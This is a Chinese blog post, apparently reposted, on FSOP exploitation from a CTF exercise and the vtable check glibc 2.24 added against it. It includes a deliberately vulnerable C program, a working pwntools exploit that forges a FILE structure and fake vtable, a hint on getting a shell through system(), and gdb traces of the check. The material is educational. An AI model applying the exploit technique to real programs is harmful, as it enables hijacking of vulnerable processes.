FSOP以及glibc针对其所做的防御措施

栏目: 编程语言 · 发布时间: 6年前

内容简介:FSOP以及glibc针对其所做的防御措施

年三十晚上边看电视边搞了下 pwnable.tw 上一个FSOP的题目(春晚太无聊了,唯一一个有意思的开心麻花的小品我还错过了),

当时本地写好已经可以getshell的exp,跑远程失败了,返回本地再调试的时候居然失败了

当时我的心理活动大概是这样的

“诶,咋刚才可以现在不行了”
“这个fatal error是啥,刚才咋没有”
“我明明啥都没改啊”
“还是调一下吧”
“诶WOC这咋有个check”
“诶WOC为啥刚才能过?”

最后才发现重新返回本地跑exp的时候没有把libc切成题目给的libc(exp里一个 ./ 被我误删了),而是用的我本机的libc,而我本机的libc版本针对fsop做了个专门的check,

所以是跑不起来的

FSOP

What is FSOP

ROP是一种针对栈溢出的内存攻击技术,其全称是Return-oriented programming,即返回导向编程,这种攻击技术是针对函数的返回地址,篡改返回地址达到控制程序流的目的

FSOP这个名字出自 HITCON CTF Qual 2016 - House of Orange Write up ,

顾名思义,就是控制文件流,进而控制程序流程

FILE 结构体

一般我们对于文件是这么操作的

FILE *fp = fopen("/file/path", "w+");
fwrite("test", 1, 4, fp);
fclose(fp);

fopen() 函数接收参数,然后会在堆上申请一块内存来存放 FILE 结构体,返回一个 FILE 类型的结构体指针,供 fwritefclose 等函数使用,

现代 linux 系统下, FILE 结构体在glibc源码中的定义为 struct _IO_FILE_plus ,实际上是一个 _IO_FILE 结构体加上一个虚函数表,

这个虚函数表里有close,write,read等等函数,整个结构体大概长这样:

FSOP以及glibc针对其所做的防御措施 所以我们在执行 fclose(fp) 时,实际上执行的是 fp->close()

对于FSOP的利用,我们只需要知道虚函数表的位置就行了

POC

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>

char deadbeef[0x400];

voidpwn()
{
    puts("Hello world!");
    exit(0);
}

intmain()
{
    read(0, deadbeef, 0x400);
    fclose((FILE *)deadbeef);
    return 0;
}

编译下

gcc -m32 ./fsop.c -o ./fsop -no-pie

(GCC6默认开启PIE了)

IDA打开看下几个要用到的地址

pwn函数

.text:080484BB
.text:080484BB ; =============== S U B R O U T I N E =======================================
.text:080484BB
.text:080484BB ; Attributes: noreturn bp-based frame
.text:080484BB
.text:080484BB                 public pwn
.text:080484BB pwn             proc near
.text:080484BB                 push    ebp
.text:080484BC                 mov     ebp, esp
.text:080484BE                 push    ebx
.text:080484BF                 sub     esp, 4
.text:080484C2                 call    __x86_get_pc_thunk_bx
.text:080484C7                 add     ebx, 1B39h
.text:080484CD                 sub     esp, 0Ch
.text:080484D0                 lea     eax, (aHelloWorld - 804A000h)[ebx] ; "Hello world!"
.text:080484D6                 push    eax             ; s
.text:080484D7                 call    _puts
.text:080484DC                 add     esp, 10h
.text:080484DF                 sub     esp, 0Ch
.text:080484E2                 push    0               ; status
.text:080484E4                 call    _exit
.text:080484E4 pwn             endp

deadbeef的地址

.bss:0804A060                 public deadbeef
.bss:0804A060 ; FILE deadbeef
.bss:0804A060 deadbeef        FILE <?>                ; DATA XREF: main+22o
.bss:0804A060                                         ; main+36o
.bss:0804A0F4                 db    ? ;

写个py脚本

from pwn import *

p = process('./fsop', env = {"LD_PRELOAD" : "./libc_32.so.6"})

fake_file_addr = 0x0804A060
pwn_addr = 0x080484BB

fake_vtable = p32(pwn_addr) * 21
fake_vtable_addr = fake_file_addr + 0x50

fake_file = '\xff' * 0x4c

payload = ''
payload += fake_file
payload += p32(fake_vtable_addr)
payload += fake_vtable

p.send(payload)

p.interactive()

这个py脚本里我把伪造的虚函数表全部填成了pwn函数的地址,把 FILE 结构体的其他成员全部写成了0xff,这样就可以绕过glibc的一些检查

打下exp

root@kali:/vagrant/fsop# python fsop_exp.py
[x] Starting local process './fsop'
[+] Starting local process './fsop': Done
[*] Switching to interactive mode
Hello world!
[*] Got EOF while reading in interactive

[*] Process './fsop' stopped with exit code 0
[*] Got EOF while sending in interactive
root@kali:/vagrant/fsop#

成功执行pwn函数

其他

关于 _IO_FILE 结构体的第一个成员,我在实验的时候发现,通过 fopen 函数返回的fp,其第一个成员都是一个固定值,实际上该成员并没有规定一个具体数值,

就如同上一个exp,将其设置为0xffffffff也没有影响,所以如果目标是得到 shell 的话,完全可以将其值设为0x3b6873(字符串 'sh;\x00' ),然后控制虚函数表成员为system(),

就可以getshell了

glibc针对FSOP所做的patch

glibc 2.24中的check

在上一个exp里,我将环境变量的 LD_PRLOAD 设置为了 ./libc_32.so.6 ,这个libc是我从 pwnable.tw 扒拉下来的,运行一下发现版本是2.23,并没有针对FSOP做一个有效的防御,

现在把那个环境变量去掉,再运行一下exp

root@kali:/vagrant/fsop# python fsop_exp.py
[x] Starting local process './fsop'
[+] Starting local process './fsop': Done
[*] Switching to interactive mode
Fatal error: glibc detected an invalid stdio handle
[*] Got EOF while reading in interactive

[*] Process './fsop' stopped with exit code -6
[*] Got EOF while sending in interactive

我本机的libc版本是2.24,从这个错误信息来看,因该是glibc针对劫持 FILE 结构体虚函数表的攻击方式做了个有效的防御,我们用gdb来调试看看,

在原先脚本发送payload之前设置一个挂起,然后用gdb attach附加到进程,在fclose下个断点

gdb-peda$ b fclose
Breakpoint 1 at 0xf76544f6 (2 locations)

单步跟踪至fclose

[-------------------------------------code-------------------------------------]
   0xf76546f0 <fclose+512>:     sub    esp,0xc
   0xf76546f3 <fclose+515>:     mov    ebx,edi
   0xf76546f5 <fclose+517>:     push   esi
=> 0xf76546f6 <fclose+518>:     call   0xf7717d40 <fclose>
   0xf76546fb <fclose+523>:     add    esp,0x10
   0xf76546fe <fclose+526>:     mov    DWORD PTR [ebp-0x1c],eax
   0xf7654701 <fclose+529>:     mov    eax,DWORD PTR [ebp-0x1c]
   0xf7654704 <fclose+532>:     lea    esp,[ebp-0xc]
Guessed arguments:
arg[0]: 0x804a060 --> 0xffffffff

步入,然后再单步跟踪至 fclose+176

[----------------------------------registers-----------------------------------]
EAX: 0xffffffff
EBX: 0xf77aa000 --> 0x1b2db0
ECX: 0x8000
EDX: 0x8000
ESI: 0x804a060 --> 0xffffff7f
EDI: 0xf77aa000 --> 0x1b2db0
EBP: 0xffacc918 --> 0xffacc958 --> 0xffacc978 --> 0x0
ESP: 0xffacc8f0 --> 0x1
EIP: 0xf7717df0 (<fclose+176>:  mov    ebx,DWORD PTR [esi+0x4c])
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7717de5 <fclose+165>:     je     0xf7717e6b <fclose+299>
   0xf7717deb <fclose+171>:     nop
   0xf7717dec <fclose+172>:     lea    esi,[esi+eiz*1+0x0]
=> 0xf7717df0 <fclose+176>:     mov    ebx,DWORD PTR [esi+0x4c]
   0xf7717df3 <fclose+179>:     lea    eax,[edi-0x1d00]
   0xf7717df9 <fclose+185>:     lea    edx,[edi-0x152c]
   0xf7717dff <fclose+191>:     sub    edx,eax
   0xf7717e01 <fclose+193>:     mov    ecx,ebx

此时 esi 存放的是 FILE 结构体的地址,而 [esi+0x4c] 就是存放虚函数表地址的地方,这一步将 ebx 设置为了结构体中虚表地址

运行至 fclose+191

[----------------------------------registers-----------------------------------]
EAX: 0xf77a8300 --> 0x0                                                          
EBX: 0x804a0b0 --> 0x80484bb (<pwn>:    push   ebp)                              
ECX: 0x8000                                                                      
EDX: 0xf77a8ad4 --> 0x0                                                          
ESI: 0x804a060 --> 0xffffff7f                                                    
EDI: 0xf77aa000 --> 0x1b2db0                                                     
EBP: 0xffacc918 --> 0xffacc958 --> 0xffacc978 --> 0x0                            
ESP: 0xffacc8f0 --> 0x1                                                          
EIP: 0xf7717dff (<fclose+191>:  sub    edx,eax)                                  
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)  
[-------------------------------------code-------------------------------------] 
   0xf7717df0 <fclose+176>:     mov    ebx,DWORD PTR [esi+0x4c]                  
   0xf7717df3 <fclose+179>:     lea    eax,[edi-0x1d00]                          
   0xf7717df9 <fclose+185>:     lea    edx,[edi-0x152c]                          
=> 0xf7717dff <fclose+191>:     sub    edx,eax                                   
   0xf7717e01 <fclose+193>:     mov    ecx,ebx                                   
   0xf7717e03 <fclose+195>:     sub    ecx,eax                                   
   0xf7717e05 <fclose+197>:     cmp    edx,ecx                                   
   0xf7717e07 <fclose+199>:     jbe    0xf7717ee0 <fclose+416>

这两步完成后, eaxedx 分别被赋予了两个和 edi 寄存器相关的值,而x86下程序运行时, edi 一般都指向 libc 的数据段,

gdb-pedavmmap 查看内存映射,计算出这两个值和libc的偏移分别是 0x1b13000x1b1ad4 ,用IDA打开本机的libc,看看这两个地址都是个啥

__libc_IO_vtables:001B1300 ; ===========================================================================
__libc_IO_vtables:001B1300
__libc_IO_vtables:001B1300 ; Segment type: Pure data
__libc_IO_vtables:001B1300 ; Segment permissions: Read/Write
__libc_IO_vtables:001B1300 ; Segment alignment '32byte' can not be represented in assembly
__libc_IO_vtables:001B1300 __libc_IO_vtables segment para public 'DATA' use32
__libc_IO_vtables:001B1300                 assume cs:__libc_IO_vtables
__libc_IO_vtables:001B1300                 ;org 1B1300h
__libc_IO_vtables:001B1300 unk_1B1300      db    0                 ; DATA XREF: sub_3F940+3Bo
__libc_IO_vtables:001B1300                                         ; vfprintf+172o ...
__libc_IO_vtables:001B1301                 db    0
__libc_IO_vtables:001B1302                 db    0
__libc_IO_vtables:001B1303                 db    0
__libc_IO_vtables:001B1304                 db    0
__libc_IO_vtables:001B1305                 db    0
__libc_IO_vtables:001B1306                 db    0
__libc_IO_vtables:001B1307                 db    0
__libc_IO_vtables:001B1308                 dd offset _IO_default_finish
__libc_IO_vtables:001B130C                 dd offset sub_3F940
__libc_IO_vtables:001B1310                 dd offset sub_6BA30
__libc_IO_vtables:001B1314                 dd offset _IO_default_uflow
__libc_IO_vtables:001B1318                 dd offset _IO_default_pbackfail
__libc_IO_vtables:001B131C                 dd offset _IO_default_xsputn
__libc_IO_vtables:001B1320                 dd offset _IO_default_xsgetn
__libc_IO_vtables:001B1324                 dd offset sub_6C130
__libc_IO_vtables:001B1328                 dd offset sub_6BDD0
__libc_IO_vtables:001B132C                 dd offset sub_6BCA0
__libc_IO_vtables:001B1330                 dd offset sub_6C080
__libc_IO_vtables:001B1334                 dd offset _IO_default_doallocate
__libc_IO_vtables:001B1338                 dd offset sub_6CCC0
__libc_IO_vtables:001B133C                 dd offset sub_6CCD0
__libc_IO_vtables:001B1340                 dd offset sub_6CCA0
__libc_IO_vtables:001B1344                 dd offset sub_6C080
__libc_IO_vtables:001B1348                 dd offset sub_6CCB0


__libc_IO_vtables:001B1ABC                 dd offset sub_6CCD0
__libc_IO_vtables:001B1AC0                 dd offset sub_6CCA0
__libc_IO_vtables:001B1AC4                 dd offset sub_6C080
__libc_IO_vtables:001B1AC8                 dd offset sub_6CCB0
__libc_IO_vtables:001B1ACC                 dd offset sub_6CCE0
__libc_IO_vtables:001B1AD0                 dd offset nullsub_7
__libc_IO_vtables:001B1AD0 __libc_IO_vtables ends
__libc_IO_vtables:001B1AD0

可以看出,这两个值分别指向了libc中“默认”的IO虚函数表的起始位置,再结合后面的汇编代码

=> 0xf7717dff <fclose+191>:     sub    edx,eax                                   
   0xf7717e01 <fclose+193>:     mov    ecx,ebx                                   
   0xf7717e03 <fclose+195>:     sub    ecx,eax                                   
   0xf7717e05 <fclose+197>:     cmp    edx,ecx                                   
   0xf7717e07 <fclose+199>:     jbe    0xf7717ee0 <fclose+416>

可以确定,这段代码直接检查了当前这个 FILE 结构体所存放的虚函数表是不是落在了libc中“默认”的IO虚函数表的范围内,显然我们的exp过不了这个检查,

运行到跳转处查看下结果

[-------------------------------------code-------------------------------------]
   0xf7717e01 <fclose+193>:     mov    ecx,ebx
   0xf7717e03 <fclose+195>:     sub    ecx,eax
   0xf7717e05 <fclose+197>:     cmp    edx,ecx
=> 0xf7717e07 <fclose+199>:     jbe    0xf7717ee0 <fclose+416>
 | 0xf7717e0d <fclose+205>:     sub    esp,0x8
 | 0xf7717e10 <fclose+208>:     push   0x0
 | 0xf7717e12 <fclose+210>:     push   esi
 | 0xf7717e13 <fclose+211>:     call   DWORD PTR [ebx+0x8]
 |->   0xf7717ee0 <fclose+416>: call   0xf765ecf0
       0xf7717ee5 <fclose+421>: jmp    0xf7717e0d <fclose+205>
       0xf7717eea <fclose+426>: test   DWORD PTR [esi],0x8000
       0xf7717ef0 <fclose+432>: mov    ecx,eax
                                                                  JUMP is taken


[-------------------------------------code-------------------------------------]
   0xf7717eda <fclose+410>:     pop    ebp
   0xf7717edb <fclose+411>:     ret
   0xf7717edc <fclose+412>:     lea    esi,[esi+eiz*1+0x0]
=> 0xf7717ee0 <fclose+416>:     call   0xf765ecf0
   0xf7717ee5 <fclose+421>:     jmp    0xf7717e0d <fclose+205>
   0xf7717eea <fclose+426>:     test   DWORD PTR [esi],0x8000
   0xf7717ef0 <fclose+432>:     mov    ecx,eax
   0xf7717ef2 <fclose+434>:     jne    0xf7717f1b <fclose+475>

单步运行后,标准输出输出 "Fatal error" ,程序接收 SIGABRT 信号后终止运行

猜想

2.24版本的libc直接检查了 FILE 结构体的虚函数表,使得FSOP这种攻击方式失去了作用,但是libc中“默认”的虚函数表是处于可读写的数据段的,

如果能直接改写,是否也能起到相同的作用?不过做到这一步基本离任意内存读写也不远了,应该也犯不着这么绕


以上所述就是小编给大家介绍的《FSOP以及glibc针对其所做的防御措施》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

C++标准库(第2版)

C++标准库(第2版)

Nicolai M. Josuttis / 侯捷 / 电子工业出版社 / 2015-6 / 186.00元

《C++标准库(第2版)》是全球C++经典权威参考书籍时隔12年,基于C++11标准的全新重大升级。标准库提供了一组公共类和接口,极大地拓展了C++语言核心功能。《C++标准库(第2版)》详细讲解了每一标准库组件,包括其设计目的和方法、复杂概念的剖析、实用而高效的编程细节、存在的陷阱、重要的类和函数,又辅以大量用C++11标准实现的实用代码范例。除覆盖全新组件、特性外,《C++标准库(第2版)》一......一起来看看 《C++标准库(第2版)》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具